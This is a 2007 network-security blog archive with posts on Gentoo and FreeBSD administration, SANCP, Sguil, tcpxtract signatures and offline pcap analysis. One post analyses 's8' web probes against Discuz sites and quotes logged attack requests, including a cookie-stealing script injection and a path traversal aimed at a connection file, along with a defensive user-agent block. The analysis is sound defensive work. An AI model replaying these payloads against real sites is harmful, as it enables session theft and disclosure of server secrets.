
Since I have formatted it to UFS2 file system, I need to mount it with the command line below -

shell>mount -t ufs /dev/sdb1 /mnt/usbmini


It seems unlikely that I can mount it properly, checking the dmesg again, I got this -

ufs was compiled with read-only support, can't be mounted as read-write
You didn't specify the type of your ufs filesystem

mount -t ufs -o ufstype=sun|sunx86|44bsd|ufs2|5xbsd|old|hp|nextstep|nextstep-cd|openstep ...

>>>WARNING<<< ufstype="old" style="font-weight: bold;">shell>mount -t ufs -o ufstype=ufs2 /dev/sdb1 /mnt/usbmini

It fails again and I got the dmesg below -

ufs_read_super: bad magic number
ufs was compiled with read-only support, can't be mounted as read-write

Thus I tried with -

shell>mount -t ufs -o ufstype=ufs2,ro /dev/sdb1 /mnt/usbmini


Now it can be mounted successfully with read-only capability, however I want it to be able to read and write the file system. It is reported that ufs is compiled with read-only support in kernel, so what I can do now is checking my kernel config

shell>egrep -i 'ufs' /usr/src/linux-2.6.19-gentoo-r5/.config
CONFIG_UFS_FS=y
# CONFIG_UFS_FS_WRITE is not set
# CONFIG_UFS_DEBUG is not set


There it goes, I just need to modify the value for CONFIG_UFS_FS_WRITE

CONFIG_UFS_FS_WRITE=y

Recompiling kernel can be done in a glance -

shell>make && make modules_install && make modules_install install

Reboot the Operating System and try again -

shell>mount -t ufs -o ufstype=ufs2 /dev/sdb1 /mnt/usbmini


Checking the mount status -

shell>mount | grep sdb1
/dev/sdb1 on /home/geek00l/mnt/usb-mini type ufs (rw,ufstype=ufs2)

Hopefully you have fun, actually I'm testing this in case if I need to perform forensic on BSD operating system.

Enjoy (;])

Saturday, February 17, 2007

Gentoo Openntpd Client Setup

I prefer to use Openntp to synchronize my time, it appears to be very easy to setup indeed. Here's how I get it to work with just few steps.

Installing openntpd -

shell>emerge -v openntpd


Adding two lines to /etc/ntpd.conf

shell>echo "server ntp.jaring.my" >> /etc/ntpd.conf


shell>echo "server ntp1b.jaring.my" >> /etc/ntpd.conf


Then just start it up -

shell>sudo /etc/init.d/ntpd start


Remember to change this entry in the file /etc/conf.d/clock from

CLOCK="UTC"

to

CLOCK="local"

Done.That's pretty quick and normally you just need to change the ntp server to your preferred one.

Enjoy :]

Friday, February 16, 2007

Gentoo is NOW

I'm switching to Gentoo Linux, but that's only my workstation(laptop), I have never thought that I will be using Gentoo but things happened where I unable to get FreeBSD 6.2 installed on my lappy thus I'm switching to use Linux, interestingly I unable to boot into Ubuntu OS as well when using the installation CD. After all I decided to give Gentoo a tried and installation is done without much issues. It seems that Gentoo is very flexible and suits my need. However I will be still using BSD for my router and server when possible.Here's my first screenshot of my Gentoo analyzt workstation.


Seriously I need to thank to Mel because he has offered many helps in the process of learning Gentoo, I'm very satisfied with this distro at the moment and application maintenance can be done easily once one understand how Gentoo portage works. Swicthing from BSD to Linux now and I will start to test Linux L7-Filter, ipp2p, snort-inline and other network security applications.

Now I guess Red Devil, Puffy and Gentoo are meeting each others, what should I say?

~When BSD meets Linux~

Cheers ;]

Wednesday, February 14, 2007

Windows Vista?

I'm switching my laptop Operating System, yes, it's not Windows Vista anyway. However here I would like to show you the upcoming greatest OS -

http://pacificprince.googlepages.com/

Please READ the description carefully!!!!!

With the specific hardware requirements, the most low end is great for -

Booting the Operating System, without running applications or games.

Do you call this GREAT?????

I'm idle for quite sometimes, I will be writing more posts when I have time. By the way, Happy Chinese New Year and Holidays to everyone around the world.

Enjoy :]

Tuesday, February 06, 2007

Sancp Insight

Security Analyst Network Connection Profiler(SANCP) - the network tool that is designed for the purpose of network traffic profiling, trail auditing, and historical analysis with the capabilities to collect statistical/flow/pcap data. For further information regarding sancp, you can check out its main site -

http://www.metre.net/sancp.html

Many of us never heard of Sancp until we come across Sguil where Sancp is merged into it to feed the flow/session data. I'm also one of those until I find out that there are actually lots of interesting features and functions in Sancp.

Thanks to John Curry who spared his precious time discussing about sancp with me, while the conversation went like an interview and some insights about sancp, I have permission to post this to my blog and share it with everyone -

geek00l> hey
jlcurry> hey geek00l I want to say thanks for your comment last week about graphviz
jlcurry> i've been playing around with connection stats
jlcurry> it's not really good for lots of connections - but works nice to show a snapshot of current activity
jlcurry> the images get pretty insanely large
geek00l> :)
geek00l> jlcurry, :)
jlcurry> anyway, I wasn't sure if you had worked with it in that way much
geek00l> jlcurry, actually i was playing a lot with sancp tuning
jlcurry> sweet
jlcurry> I'm gonna blog about what I do with it
geek00l> jlcurry, do u have rss
jlcurry> I have nothing yet
jlcurry> I'm going to setup a blogger.com account
geek00l> that's great
geek00l> jlcurry, i remember you said that sancp will see the first packet and putting the source ip as the host that starting the connection
geek00l> jlcurry, and in the sancp config, how to improve its direction sensitiveness
geek00l> jlcurry, i read the defining the services port
jlcurry> back
jlcurry> are those questions?
jlcurry> I hope things are working as I explained ;)
jlcurry> I believe you are referring to the 'know_ports' option
jlcurry> err 'known_ports'
* jlcurry goes to look it up
geek00l> yeah
geek00l> i'm refering to that
jlcurry> you can do something like: known_ports 6 8734, 22, 25, 80, 443, 53, 993, 933, 8734, 110
jlcurry> var tcp 6
jlcurry> known_ports tcp 8734, 22, 25, 80, 443, 53, 993, 933, 8734, 110
jlcurry> that is usually easier to read
geek00l> jlcurry, yes, but i wanna know how it improves the direction guessing
jlcurry> oh, well - in the case of UDP - it will swap the dest and source of the connection if the source port is in the known_ports 17 list
jlcurry> oh, well - in the case of TCP - it gets complicated
jlcurry> in the case of TCP - it will swap the dest and source of the connection if the source port is in the known_ports 6 list AND the first packet is NOT in the known_ports list.
jlcurry> basically when sancp is uncertain about the direction of a TCP connection, it consults the known_ports 6 list
geek00l> jlcurry, so if the port is defined in the known ports, so it won't be the one that starting the connection instead it is the one that receiving the packet first when sancp is uncertain about it?
jlcurry> sometime sancp gets a TCP packet mid-session- if it happens to come from the destination - since this is the first packet sancp sees, it will assume it is from the source
jlcurry> in such a case, no tcpflags are present that can help deduce the direction
geek00l> jlcurry, no tcpflags?
jlcurry> my bad, - without a 'SYN', or 'SYN+ACK' tcpflag combination - sancp must rely on the first packet - or secondly on the known_ports matching on the 'dest port' (in the packet recieved).
geek00l> read you now
geek00l> jlcurry, have you done performance benchmarking on sancp regarding its pcap logging
jlcurry> unfortunately no, any ideas on how you would do this reliably?
geek00l> jlcurry, not yet, but i'm interested in this - bytes of pcap data to collect per connection
geek00l> jlcurry, i think it is great feature to reduce the full content data
jlcurry> fyi - the alpha version supports logging the first X bytes of payload data from the source and dest separately to stats (in filtered ascii or hex notation)
jlcurry> those will be a fun fields to work with
geek00l> jlcurry, interesting
geek00l> jlcurry, the first X bytes of payload separately, i thought it is defined to log how many bytes per connection
jlcurry> geel00l, this feature is memory hungry - pcap limit affects pcap logging - sample_src_ascii (for example) is a stats output field (so packet data payload can go to stats output)
jlcurry> pcap limit is separate from the sampling that I am referring to now
geek00l> jlcurry, same with bro-ids time machine, it is mem hungry :)
jlcurry> you can control how much data is sample from each end
jlcurry> this helps collect things like URI's which occurr early in the packet and don
jlcurry> don't require pcap (nessarily) to confirm nature
I really don't like talking - I usually find faults in my statements (i.e. most browsers send more than one request per connection, some attacks do the same, some attacks start with a normal request)
geek00l> jlcurry, just to confirm with you, if i just want to log the first X bytes of payload data, pcap limit is the one i need to tune?
jlcurry> yes this is correct for logging data to pcap
jlcurry> SANCP will still count statistics on all packets
geek00l> jlcurry, what's the recommended range for pcap limit
geek00l> jlcurry, yup, that's to reduce full content data while retain the session/flow data
jlcurry> I use full content logging - and yes I use the pcap limit to reduce pcap files I want to archive a little longer - but I don't need the wasted data (i.e. 1500bytes of the FTP binary is fine for me)
geek00l> jlcurry, thanks
geek00l> jlcurry, can i post our conversation to my blog?
jlcurry> geek00l you're welcome
jlcurry> yes
geek00l> cool :)

I have edited the conversations so that it looks cleaner while retain the contents. I hope this dialog can give you some insights about sancp and feel free to download, install and play with it now.

Thanks again, John!

Cheers ;]

Monday, February 05, 2007

Red Alerts



The image above shows my home OpenBSD router that serving me for years. However the network interfaces is now in the process of degradation(led in red). I still don't have much network issue yet(it's not heavy anyway) so I plan to buy a new network cards for replacement in case it down the other day.

That seriously explains why we need sensor stuff.

Peace ;]

Thursday, February 01, 2007

FreeBSD Snort-2.7 Beta1

If you want to try out Snort 2.7 Beta 1 on FreeBSD 6.2, here's the straight forward installation process -

shell>pkg_add -vr libdnet

shell>pkg_add -vr libnet10

shell>./configure --enable-stream4udp \
--enable-dynamicplugin --enable-timestats \
--enable-perfprofiling --enable-flexresp2 \
--enable-react --enable-gre \
--prefix=/usr/local/stow/snort-2.7b1 \
--with-dnet-includes=/usr/local/include \
--with-dnet-libraries=/usr/local/lib


shell>make && make install

As usual I always install all the testing applications under /usr/local/stow so that I can make use of stow for software management. The demo server will run snort beta for testing purpose.

Peace ;]

Wednesday, January 31, 2007

Sguil Cutting Edge

Okay, finally it is up. I'm talking about Sguil Demo Server. This demo server is running sguil CVS, I'm putting this up so that everyone can check out the latest features that are in development cycle.

The demo server detail is shown below:

Server: nsm.kicks-ass.org
Port: 7734
Username: sguil
Password: leave it blank

Since this is just for anonymous login, thus I didn't put up the password. I have very poor internet link(thanks to my wonderful ISP) so if any of you have problem or delay in connecting to demo server, please be patient. By the way, you may need to use sguil client in CVS as well in order to conenct to the demo server. If you are on *nixes platform, just run -

shell>cvs -d:pserver:anonymous@sguil.cvs.sourceforge.net:/cvsroot/sguil checkout sguil

You don't need to install anything else if you already have all the dependencies for sguil client installed before, just run sguil.tk under client directory will do. If you are using Ubuntu Linux, here's how-to get sguil client installed in painless way. Have fun.

Enjoy (;])

Tuesday, January 30, 2007

PgOSS Meetup Cancel

I'm sorry to announce that the event has to be cancelled due to it falls on second day of Thaipusam and many people unable to attend the meetup, we will try to make it as soon as possible and hopefully everyone can attend the meetup soon.

If you have posted the event in the mailing lists or anywhere, please do inform them the suspension of the event. Thanks.

Peace :]

Sunday, January 28, 2007

PgOSS 2nd Meetup

After long delay, we finally get to arrange and organize the second Penang Open Source Software Meetup. There will be 2 presentations in the meetup and teh tarik session after meetup as usual. The meetup details as below -

Date: 2007 Feb 2nd
Time: 7:45pm - 9:15pm
Venue: University Science Malaysia(Penang)
Presentation Topics:
- OSS General(geek00L)
- Open Source Web Development with Grails(Sey)

By the way, we will also discuss about the security meetup after long gone of mydefcon. If you are staying nearby, feel free to join us.

Enjoy and Cheers ;]

Tuesday, January 23, 2007

TcpXtract - 3gp

This is considered the 3rd part of my write up in tcpxtract series, I have previously written two posts about it. I never think of writing that much about tcpxtract(this tool is kinda buggy), but it is really useful especially when you need to extract certain type of files.

Last week I was told about 3gp media file format by mypapit, 3gp is 3rd generation new mobile phone video standard format. Most of mobile handphone nowadays ship with 3GPP and 3GPP2 content capture and playback capabilities. Thus most of the pr0n video clips are distributed in 3gp format from server to client end(mobile phone users). I don't really know much about it as I'm still using old handphone.

Thanks to mypapit again as he pointed me out where to get the 3gp files so that I can have chance to look at the meta header in the file and writing the tcpXtract sig for it. I have logged the network traffic with tcpdump when downloading the 3gp file.If you are administering many servers, I don't think you would like to dig out 3gp files on all the servers as it is much of works, it's better to detect and identify it at network level so that you can easily eliminate it.

One of good resource when writing file signature that I found is -

http://filext.com/detaillist.php?extdetail=3gp&Search=Search


However the identified header that given are too common in the packet payload, I don't think 00 00 00 at the beginning offset makes a good signature. I need to dig more to write more accurate signature for 3gp. I have downloaded the file and renamed it to pr0n.3gp.

shell>file pr0n.3gp
pr0n.3gp: ISO Media, MPEG v4 system, 3GPP (H.263/AMR)

Then I examined it's data in hex|ascii format and idenfitied the fix strings - ftype3gp4, in fact it comes after 00 00 00 and the 4th dynamic byte. Before writing the sig, I tested it with ngrep -

shell>ngrep -i -I 3gp.pcap -t 'ftyp3gp4'
input: 3gp.pcap
match: ftyp3gp4
.....

shell>ngrep -I 3gp.pcap -xX '0x6674797033677034'
input: 3gp.pcap
match: 0x6674797033677034
.....

Now it should be pretty accurate, the 4th byte offset is dynamic when I examined 3gp file variants. Thus I have the sig added to tcpxtract.conf as below -

3gp(1000000, \x00\x00\x00\?\x66\x74\x79\x70\x33\x67\x70\x34);

I got syntax error when I added this signatures, it appears that the file type(extension) can't be specified with numeric but alphabets(pretty odd and buggy). Thus I have to change it to tgp instead of 3gp for the sake of it.

tgp(1000000, \x00\x00\x00\?\x66\x74\x79\x70\x33\x67\x70\x34);

Then I executed -

shell>mkdir 3gp-extract

shell>tcpxtract -f 3gp.pcap -o 3gp-extract

Examined the file that has been extracted -

shell>file 3gp-extract/00000000.tgp
3gp-extract/00000000.tgp: ISO Media, MPEG v4 system, 3GPP (H.263/AMR)

Now I already got the signature right, move on. Sorry guys, no phone pr0n for you next time!

Cheers (:P)

Bit torrent Clients

I remember I have shown some user applications that I used daily, so here's the new post about one of applications I use on my desktop(not workstation).

Which bit torrent client do you use? I have been asked by many people and seeing this question been asked in various forum. When comes to Windows OS platform, people tend to use either utorrent or bitcomet. So what do we have in oss arsenal?

All I hear are azureus or bit tornado.

I don't really like any of the above, in fact I use ktorrent.

I know user base application is always about preferences, I myself love applications that are simple, slick and with clean ui design. The other best features about ktorrent are it supports encryption and doesn't consume much of your CPU or MEM resources.

Here are the Ktorrent screemshots -




In fact when I checked out all the peers that are connected, it seems that none of them are using ktorrent but other popular torrent clients. Try out ktorrent, I bet you will love it.

Enjoy :]

Friday, January 19, 2007

Helix: Mounting ufs2

I have one of my machine lying around and it was installed with FreeBSD previously. I need to copy everything out from the hard drive. I decide to use helix again as it is pretty easy and the data can be transfered over the network without much configurations.

Once I login, I launched the terminal and tried to mount the ufs file system. The hard drive is connected with external ide usb connector. Therefore the drive appeared to be sd*. As usual, I run this -

shell>mount -t ufs /dev/sda1 /media/sda1

I get an error wrong file type, but I remember I installed it with ufs2 which is default file system that used by FreeBSD. After messing with the man page. I figured as such -

shell>mount -t ufs -o ufstype=ufs2 /dev/sda1 /media/sda1

Now I just enabled the ssh server, and everything can be transfer over network either using scp or just netcat will do.

Enjoy ;]

Wednesday, January 17, 2007

FreeBSD 6.2 Released



I just got this toy, it's pretty cool as it can be resized when you want it. So i'm still looking for another toy, most probably puffy but hardly find a good one. Now RedDevil is alone and he needs his buddy - puffy to totally match my blog title. So what's new? Yes, FreeBSD 6.2 R is finally here, check out the download mirrors and pick up any that do well for you.

http://mirrorlist.freebsd.org/FBSDsites.php

To navigate what's new and all the changes, you can find the release note at

http://www.freebsd.org/releases/6.2R/relnotes-i386.html

I'm looking at this interesting feature that added to this release -

The enc(4) IPsec filtering pseudo-device has been added. It allows firewall packages using the pfil(9) framework to examine (and filter) IPsec traffic before outbound encryption and after inbound decryption.

This is pretty neat when one need to snoop on vpn connection that provides visible view for monitoring devices.

Time to upgrade when possible!!!!!

Enjoy ;]

Thursday, January 11, 2007

Santy or s8 - the analysis process

While chating with fellows in freenode #snort-gui, David raised the interesting s8 probes that targetting web servers. As I'm seeing those probes as well, I would like to figure out what is happening in the network and why there are running in the wild.

After discussed with David, I tried not to dive into the network data but googling, however google doesn't return much useful information regarding the probes. In fact you may not know what I'm talking about regarding s8 myth, here are some entries -

1168444804.073301 %252740 GET /s8Region.asp
1168444830.868371 %252837 GET /s8qq.txt (404 "Not Found" [394] blablalo.com)
1168444909.394569 %253078 GET /s8qq.txt (404 "Not Found" [387] blablalo.com)
1168444992.374820 %253366 GET /eWebEditor/db/s8ewebeditor.mdb (404 "Not Found" [412] blablalo.com)
1168452273.423501 %275283 GET /s8qq.txt (404 "Not Found" [389] forum.blablalo.net)
1168453495.280041 %278412 GET /s8showerr.asp?BoardID=0&ErrCodes=54&action= script JavaScript:alert(document.coo
kie); /script ( span style="font-weight: bold;" 404 /span "Not Found" [390] blablalo.org)
1168453512.055104 %278412 GET /s8flash/downfile.asp?url=jackie/../../conn.asp (404 "Not Found" [397] blablalo.org)

I have renamed all the hostname to blablalo and I think it doesn't hurt. So it is all about http get requests to the file with s8 prefix. Since I have no clue at all as those requests are unsuccessful - 404 and I don't have the files it requested, thus I tried to figure out what kind of domains they are targetting. After some info gathering, apparently all the sites that crawled by s8 requests are powered by discuz content management system. It seems discuz is very popular in China and it offers both asp and php based solutions.

To analyze further, I decided to go through the web server logs by looking for the s8 strings. Then extract all the IPs and performing whois to help me in doing correlations. Interestingly it helps me to conclude my finding. Below are the commands I executed when inside apache logs directory -

shell>for i in `egrep -i '/s8[a-z0-9]*\.asp' * \
| awk '{ print $1 }' | cut -f 2 -d : | uniq`; \
do jwhois $i >> s8whois.log; done


I navigated the results in s8whois.log and found that almost all source IPs are from China. Then I came to realize why google doesn't show up much results with their caches even regarding the s8 probes. Check out the link below -

http://www.baidu.com/s?wd=powered+by+discuz&cl=3


Baidu.com is the most popular search engine in China and I suspected that they are actually performing something similar to this but utilize their own popular search engine to query targeted vulnerable cms.

In fact the automated scripts that running to look for all the malicious scripts that been uploaded to vulnerable sites that powered by discuz should perform operating system or web server fingerprinting(latter easier to be done and more accurate) with better search engine query strings before performing http request on malicious scripts to remain unseen in unix based server.

I guess China system administrators(or whoever) use discuz cms have more headaches than us -

http://www.discuz.net/thread-433875-3-1.html

All for now, Peace (;])

Temp solution: Blocking user agent - InetURL:/1.0 via mod_security, all of the requests are carried by it that is pretty identical.

1.2.3.4 - - [08/Jan/2007:17:30:05 +0800] "GET /s8servu.aspx HTTP/1.1" 404
- "-" "InetURL:/1.0"

Wednesday, January 10, 2007

Wireless traffic analysis - the 802.11

I rarely find any online resources regarding wireless traffic analysis. Then I came through this book that given very good kickstart on performing wireless traffic analysis. I would not much into confirming whether the book has no errors technically until I read this book which is recommended.

Yesterday I found two useful links regarding wireless network. One is at security focus and another one at uninformed. Both are interesting reads and I think it helps analyst to improve themselves when performing wireless traffics analysis.

If you know any good resources about wireless networks, feel free to comment.

~ Monitor the AIR(WNSM) huh ~

Cheers :]

Monday, January 08, 2007

Blog tagged

My blog is tagged, becoming victim is not so bad sometimes.

Somehow people don't know me enough, 5 things I need to clarify here -

1. I'm neither from military or education lines, either me or my teachers totally suck when I was in school. In fact I'm self-learner, I learn most of the things from google and yes, some from people I know.

2. No one is total geek or nerd, there must be something you do besides computing. I do swimming and some basketballing, it refreshes me most of the time when my brain is nearly dead. By the way if you find yourself hating geeks so much, please love yourself. Popular quote from my friend - "You hate what you are!"

3. I ain't vampire, I do sleep, but when? I can't even tell myself, be it.

4. I love no war.

5. .....

Unfortunately, I don't do tag.

Cheers ;]

Thursday, January 04, 2007

Offline pcap analysis?

Now you are staring at your screen looking for culprits after downloading the logged pcap files. You are considered performing offline pcap analysis as you don't make contacts to the network while doing it but I'm sured most of you will need internet connection to acquire necessary data sometimes so you will still leave your internet connection on.

Most people do not know that they are actually generating network traffic when they performing analysis on pcap files, and they are telling you they are doing it offline. But this is totally not right. Take a look at the screenshot below.


I'm running two virtual terminal, the first shows I'm running -

shell>tcpdump -XXttttr soulseek.pcap

At the same time I monitor my network interface in second virtual terminal -

shell>tcpdump -i bge0 port 53

If you look at the second one, apparently there are dns traffics ongoing. Yes, I'm using tcpdump, but most of network analysis tools will try to resolve the host address or port when possible if you are not telling them not to do it. Now you still consider performing offline analysis, I bet no. To actualy do it, you will have to run tcpdump with -n option, by doing that you don't convert host address and port number to name anymore.

shell>tcpdump -XXttttnr soulseek.pcap

Now you will see no network traffics generated, this is the real offline pcap analysis. And guess what, you gain extra speeds when analyzing large pcap file since you don't try to resolve the host addresses or ports(refer /etc/services file) anymore.

Remember this is not only applied to tcpdump but many other network analysis tools(argus, wireshark and so forth).

Enjoy (;])

P/S: On linux, specify -n alone will prevent from doing dns lookup, however it will still tries to convert the port number to name, you will have to run -nn to avoid resolving anything.